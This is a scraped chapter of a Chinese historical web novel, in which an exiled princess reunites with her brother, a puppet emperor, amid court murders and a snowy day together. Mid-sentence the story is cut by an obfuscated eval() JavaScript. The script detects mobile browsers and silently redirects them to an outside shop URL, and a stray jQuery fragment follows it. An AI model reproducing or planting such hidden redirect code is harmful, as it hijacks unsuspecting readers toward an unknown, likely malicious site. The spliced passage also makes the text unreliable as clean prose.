文趣网 > 都市小说 > 五代离乱,花开彼岸 > 63. 瑞雪
    “不仅如此,阿娘更是怀了蒋玄晖的逆子!蒋玄晖以为废了我,便可立他和阿娘的逆子为帝,自己做太上皇!”盛怒中的李祚攥紧双拳,修长苍白的手指关节咯咯作响,“最后没想到两人都被朱凛所杀!”

    “这……”李凌薇震惊地听着李祚的话,难以置信道,“我无法相信阿娘……”

    “是真的,我亲眼看见蒋玄晖他!”李祚不想再说下去,回想起阿耶去世的那一晚:蒋玄晖望着何太后那双色眯眯的眼睛,他全都看见了!他抱起何太后走进仙居殿后放浪的笑声,他全都听见了!

    李凌薇含着眼中的泪水,“阿娘被贬为庶人,恐怕连太庙也无法进去。”

    “她做出这等丑事,还想进太庙与阿耶合葬?还想与大雍列祖列宗的牌位并列,受李氏子孙朝拜?”李祚冷哼一声,“她不配!”遂烦躁地走到书桌前,拿起上面的诏书,扭过头递给李凌薇。

    “朕以谬荷丕图,礼合亲谒郊庙,先定来年正月上辛用事。今以宫围内乱,播于丑声,难抑惭恧之容,入于祖宗之庙。其明年上辛亲谒郊庙宜停。”李凌薇踉跄着连连摇头,“可她毕竟是我们的阿娘!”

    “她不是我的阿娘!”

    “不,你是阿娘怀胎十月生下来,你害死了朱友伦是阿娘挡在了身前,你怎么能这么说阿娘,不管她做什么,我相信她都有她的苦衷!”李凌薇大声辩解道。

    朱凛这一年南征北战,荆、襄等州相继收入囊中,整个中原唯他独尊,他人莫可与之争锋。李凌薇坚信,阿娘此举若是真的,也是为了保住李祚,保住大雍!

    “她有苦衷?”悲痛使李祚的整张脸扭曲起来,“她害得我连郊礼都要暂停!我本已斋戒完毕,谁料……”

    李凌薇一时语塞,她深知李祚自即位以来的心病就是没有举行郊礼。南郊的日期本定在天祐二年十月九日,第一次因郊礼器物未准备齐全,改期至十一月十九日;第二次因朱凛怀疑蒋玄晖密谋延长雍朝寿命,改期至天祐三年正月上辛日;如今又以宫围内乱为籍口,暂停明年郊礼,这样一改再改,结果是遥遥无期。

    李祚抑制住上涌的泪意,低首道:“我一直小心翼翼,只怕到最后还是和周静帝一般下场。”当年周静帝虽禅位于隋文帝,可还是遭其毒害。如若他将大雍江山拱手相让,是否就能逃过朱凛的魔掌?

    “怎么这次回来都没有见到阿兄他们。”李凌薇疑惑道。这次回来后,她连一个兄弟都没有看到。可话一说出口,立即就有一种不祥的预感。

    “阿兄他……”李祚的嘴角蠕动着。

    “难道阿兄也……”

    “今岁二月,蒋玄晖邀请阿兄等几个兄弟到九曲池饮酒,待他们酒醉后,残忍地将他们全部杀害,并将尸体投入池中。”

    李凌薇震惊得瞪大了双眼,双手掩住口唇,身子不由自主地剧烈颤抖。

    “岂止是阿兄,阿耶在世时的重臣,裴枢、独孤损、崔远、陆扆等人均被贬出朝廷,朱凛又一不做,二不休,在他们到达白马驿之时,以“浮薄”罪名,一夜之间悉数被杀,并投尸于黄河中。”

    李凌薇听着李祚讲完这一桩桩令人毛骨耸然的命案,眼前好似出现了那些漂浮在江水上的那些尸体,暗红色的血液将柘黄的江水染得一片猩红。她身子哆嗦得更加厉害,这些信息她都不曾知晓,没有想到朱凛竟然狠毒至此!

    殿内陷入一片寂静,外面不知何时起了风,打得窗棂呼呼作响。两人久久没有说话,都觉身上一阵阵发寒。

    “我这个皇帝做得真是窝囊,从来都没有自己下过命令,不过是朱凛手中一个傀儡!我好想阿耶和阿兄,我好想去地下陪他们……”

    “不!不要这么说,只要你一日还是皇帝,事情就还有希望。”李凌薇硬生生地打断了他,一种巨大的内疚浮上心头,“对不起,发生了这么多事情,阿姐都没有在你身边。”

    “阿姐,我知道你在朱家也过得不好。不然朱凛也不会派一个人来监视你。”

    “九娘不是来监视我。她是个单纯的孩子,她是见我伤心特意来陪我。你不要误会她。”

    “朱家的人,没有一个好东西!”李祚蹙起双眉,“朱友贞可有欺负你?”

    “他去替他母亲守孝,我们也已经快一年未见面了。”李凌薇淡淡地说。

    李祚阴郁的面孔上泛起了一丝明亮,似是放心地点了点头。他再次紧紧地抱住李凌薇,颤抖地说出心中的痛苦,“阿姐,我真的好害怕,我好怕我身边的人一个一个地离我而去。”

    李凌薇吸了一口气,“别害怕,阿姐会守在你身边。”

    “阿姐。”

    “我的傻阿弟。”李凌薇擦去他的眼泪。

    “朱凛停止夫子为我讲学,我必须暗自用功。如今箭靶已放到一百二十步,枪法也是天天练。”李祚拉起李凌薇的手走到御座前,“阿姐你陪陪我吧。”

    李凌薇摇了摇头,走到侧面所设的一张小案几旁坐下煎茶,“我在这里陪你。”

    “好。”

    李祚读了半晌,有些乏倦,遂放下书卷。李凌薇端起盏递给李祚,“这是我刚煎的茶,你尝尝。”

    李祚品尝一口后赞道:“阿姐煎的茶还是一如既往地好吃。”

    “以后阿姐日日煎茶给你吃。”

    李祚满面含笑,“阿姐,你回来了。我的心终于踏实了些许。”

    “阿姐也是,在大梁的时候日夜盼望收到你的消息,一颗心仿佛悬在半空中,日夜不安。如今陪在你身旁,我的心也算踏实了。”

    ——————

    五更刚过,李易安从睡梦中惊醒,哭声骤起,她左顾右盼,不停地唤着,“阿娘……阿娘……”

    杨氏抱起李易安哄了半天仍不见好转,无计可施,只好去请李凌薇。李凌薇一下子惊醒过来,连鞋都来不及穿,披着头发拔腿奔向西殿。她将李易安抱起,柔声安慰着,“安安不哭,安安不哭。阿姐来了。”

    李易安挣脱着,“要阿娘……阿娘……”

    李凌薇一时竟不知该如何作答。她与李易安相处月余,这孩子虽与她格外亲厚,闲下来时却总会不停追问阿娘在哪。死亡对不足两岁的她来说未免太深奥晦涩,即便告诉了她真相,她也未必会明白其中含义。

    阿诺拿着斗篷追了过来,披在李凌薇身后。

    李凌薇耐心地安抚着李易安。阿诺手持一个彩绘童子戏莲花的拨浪鼓,轻轻摇晃着逗她,半晌,李易安的哭声才渐渐止住。

    李易安小脸蛋上嘟着小嘴,满是不乐意,手中摆弄着拨浪鼓,“阿娘去哪了?阿娘去哪了?”

    杨氏送来安神汤,李凌薇一口一口喂着李易安,见她把碗底吃光,笑着伸手摸摸她的小脸蛋,“阿娘还在生病,你要听话,阿娘的病才能很快好起来啊。”她又剥开一枚蜜桔,去掉籽粒,喂到她的小嘴里,小家伙尝到了甜汁,眯着眼睛笑了起来。

    “还吃吗?”李凌薇笑着问。

    李易安点着头,“嗯!”

    阿诺给李易安换上一身青色棉袄,拿着拨浪鼓哼起小曲逗她开心。李凌薇也换上一件菱花纹窄袖白襦,束一条月牙白色长裙,外罩一件硬锦半臂,头上仅挽了个发髻,插一支银簪。

    “怎么没有橄榄子?”李凌薇用过早饭问向阿诺,“阿祚最喜欢吃橄榄子,阿诺你快去准备点,一会儿阿祚就要来了。”

    阿诺面露难色,“我听阿能说,魏王认为从岭南运送橄榄子过于劳民伤财,自去岁六月,就不再进贡。”

    李凌薇听了,连连叹气。

    “阿姐,外面好大的雪。”李祚从殿外走了进来,脸上带着一抹春天般和煦温暖的笑容,阿诺迎上去替他解下大氅,又拂去身上的雪霰。

    “阿兄。”李易安见了李祚,连忙从李凌薇身上跳下,扑进李祚怀中。

    李祚抱起李易安问道:“安安今日乖不乖?有没有听阿姐的话?”

    李易安用力地点着头,瓮声瓮气地说:“乖!”

    “真乖!”李祚用额头贴向李易安的脸颊,弄得她嬉笑着躲闪,连呼:“凉!凉!”

    李凌薇将李易安从李祚怀中抱出,交到杨氏手上,“别让安安着凉。”她已经很久没有在李祚的脸上看到这样灿烂且舒心的笑容了。

    李祚没有回答李凌薇,而是眼睛朝她身后望了望,问道:“朱娘子呢?”

    “九娘今日身子有些不适。”李凌薇往他手中放了一个暖炉,看着他脸上怪异的笑容,低叹一声,“她长姐突然去世,很是伤心,我让她好好歇息。你不要表现得太高兴,小心隔墙有耳。”

    李祚压低声音反问道:“朱家的人死了,你难道不高兴吗?”

    李凌薇扪心自问:自己真的高兴吗?想想真的很神奇又诡异,李、朱两家人的性命好似是被阎王爷绑在一起写进了生死簿,朱凛杀死了何太后,很快他的女儿也跟着去世了,这难道不是一种报应吗?可报应为什么不能应验在朱凛身上?却是连累到这些无辜的旁人。不,她并不高兴。

    “我是怕九娘太伤心了。”

    李祚冷笑一声,“我已经封她长姐为安阳郡主,并派人前去邺城设祭,难道还不够吗?”

    李凌薇叹道:“逝者已矣,这一份殊荣又有何用?不过是为了朱凛的面子。”

    “阿兄,雪,雪。”李易安看到窗外的景象拍着巴掌欢呼起来。

    李祚突然来了兴致,笑着问向李凌薇:“阿姐,咱们一起去外面堆雪狮子吧。”

    “雪狮子!雪狮子!”李易安嚷嚷着。

    李凌薇淡淡地笑了笑,婉拒道:“你们去吧。”

    “不要扫兴嘛,阿姐。”李祚不由分说拉起李凌薇就往外走,“好久没有见到这么大的雪了。”

    殿门外早已是另一番颜色,院里的积雪足有一尺多厚,彻夜的大雪将屋顶、院落连成一片白茫茫,红墙配着白雪,别有一番滋味,两株红梅在白雪的映衬下,开得格外鲜艳。

    李祚长呼一口气,感叹道:“瑞雪兆丰年。”

    李凌薇缓缓蹲下,轻轻捧起地面最上的一层雪花,那冰凉凉的触感顺着指尖传来,让她不禁有些兴奋,随即接着他的话,“今年一定会更好。”

    “阿姐,阿祚已经长大了,可以保护你。”

    李凌薇认真地点了点头,“阿姐相信你。”

    四目对视,李祚对着李凌薇的眼睛欣喜地笑了出来,宛若冬日里一朵璀璨的火花,瞬间温暖了心房。

    李凌薇深吸了一口气,用尽大力朝着手中的雪花一吹,雪花腾地飘落,轻轻覆在了李祚满是笑意的脸上。

    “阿姐……”‘白眉翁’气急,忙用手掸去脸上的雪花。

    “嘻嘻……”李易安在杨氏怀中捂着

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576591|203025||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    小嘴偷笑起来。

    李凌薇走近李易安,指着李祚柔声对着她问:“安安看阿兄像不像一个雪狮子啊?”

    “雪狮子,雪狮子。”李易安学起李凌薇的口气。

    李祚佯装生气地皱起眉头,拾起地上的雪花,团成了一个大雪球,责难道:“咱们谁是雪狮子啊?”作势就要朝李凌薇扔来。

    “罢了……罢了……”李凌薇笑着求饶。

    李祚眯眼调皮地一笑,掂量着手中的大雪球,不怀好意地瞥了李凌薇一眼,“阿姐,你放心,我的技艺极高,保证……”丹凤眼滴溜一转,“不会伤及无辜。”

    一个拳头大小的雪球,如闪电般迅猛,狠狠砸中了李凌薇的左肩,生疼的感觉随之而来,她气愤地奔向李祚,“你别走,竟敢动手!”

    李祚得意地一笑,“阿姐,可是你先动手的。”

    李凌薇随手团了个雪球,“你不许跑!”

    雪地里的姐弟俩无拘无束,笑得酣畅淋漓,暂时忘却了所有烦恼,笑着、跑着,吵着、闹着,仿佛又回到了那段轻松、快乐、单纯的年少时光……

    “阿嚏。”沐浴后的李祚捂着鼻子打了一个重重的喷嚏,裹在锦被中的他只露出一个脑袋。

    “你看看,着凉了吧。”李凌薇挽起袖子,亲自为李祚擦拭他洗好的长发,心疼地数落道。

    “嘻嘻。阿姐你最好了。”李祚傻笑着,刚洗过的两颧上泛着点淡淡的嫣红,歪着脑袋伏在李凌薇的肩膀上撒娇。自何太后去世后,他夜夜从噩梦中惊醒,必得侍寝在旁的阿能拍醒并安慰他,他才得以稍作镇定。如今阿姐回来了,他终于睡了几个安稳觉。

    “都做皇帝了,还和小时候一般。”

    “就算我做了皇帝,可还是你阿弟啊。还是小时最好,每日和阿姐一起玩。即使咱们吵架了,可很快就能和好。”李祚陷入对童年的无限回忆。

    “你每次闯祸,不都是阿姐帮你吗?”

    “哪有。”李祚矢口否认,“那次你被绑架,不还是我去救你的吗?”

    “那次你到的时候,我已经成功自救了好不好?”

    李祚撅起嘴,一脸不满。

    李凌薇扬着脖子眉飞色舞地盯着他看,看他到底要如何反驳。

    俄顷,李祚讨好地嘻嘻一笑,拖着长音说道:“所以说,还是我最美丽的、最温柔、最善解人意的阿姐最好了。”

    听着李祚肉麻兮兮的话,李凌薇浑身泛起了鸡皮疙瘩。她受不了地白了他一眼,随后给他篦了头,束起长髻,塞进幞头里。

    “这是我之前给你做的,你穿上看看,是否合身?”李凌薇拿出外袍,“想来是做小了。”

    “不小不小。”李祚拿来便套在身上,“阿姐看正好合适。”

    李凌薇满意地点了点头。

    “真是奇怪,阿姐你给我洗完的头发香香的,这个味道真好闻,像是木槿叶,却又比木槿叶更香。”

    “我是在木槿叶中加了一些蔷薇水。”

    “蔷薇水?”

    李凌薇点了点头,“这蔷薇水是我从公主府带来的。”

    李祚端详着琉璃瓶看了好一会儿,笑着将它还给李凌薇,随即走到案几前,拿起书卷读了起来。

    李凌薇走到案几前为他研磨,见李祚目光专注,自己则回到软榻上,拿起书卷也读了起来。

    一更更鼓过了,李祚站起身,“天色不早了,我先走了。阿姐早些歇息。”

    李凌薇欲起身相送,随着站起的那一刹那,那卷《春秋》掉在了地上,这厚重的落地声使两人陷入猝然不及的尴尬。

    李祚脸上挂了一整天的笑容瞬间消失殆尽,脸色骤然一沉,瞪得圆圆的眼睛满是难以置信地盯着李凌薇,“阿姐,你心里还念着他吗?”

    李凌薇连忙将书卷捡起来放好,“我也有些困了,你先回去歇息吧。”

    “阿姐,你不要再想着他了,他不值得!”李祚激动不已,那严厉的声音如炸雷般在李凌薇想开溜的瞬间叫住了她。

    李凌薇无奈地看着李祚抓狂,低下了头。

    李祚见李凌薇半晌无语,双手捏住她的肩膀,“不要再想他了!你听到了吗?”

    李凌薇用力地推开他,“我的事情不用你管!”

    一时殿内变得一片死寂,连侍候在廊下的阿能、阿诺都愣住了。

    泪花冒上李祚的眼睛,他眼神中掩饰不住深深的失望,“阿姐,我是在关心你。”

    “以前我未曾喜欢他时,你千方百计地撮合我俩;如今,我的心里已满是他,你又说让我忘了他,横竖都是你的理。”

    “我当年竟是看走了眼。”

    “阿祚。”李凌薇自觉方才失言,缓和下口气,“你以前不是很喜欢他吗?怎么现在提到他,整个人都变了。”

    李凌薇握起他的手,“阿姐是心甘情愿,你不必为阿姐担心。”

    “心甘情愿?”李祚面色阴沉,如覆寒霜。

    李凌薇抑制住内心的激动和一汪眼泪,“没错,心甘情愿。”她清楚她整个人都为大雍而生,她无法左右自己的命运。但可不可以,在她心底埋下一抹秘密,就她一个人知道,一个只属于她自己的秘密,一个能完全属于她自己的物什。

    李祚冷笑了一声,二话没说,拂袖而去。

    李凌薇顷刻泪如雨下,无法自拔……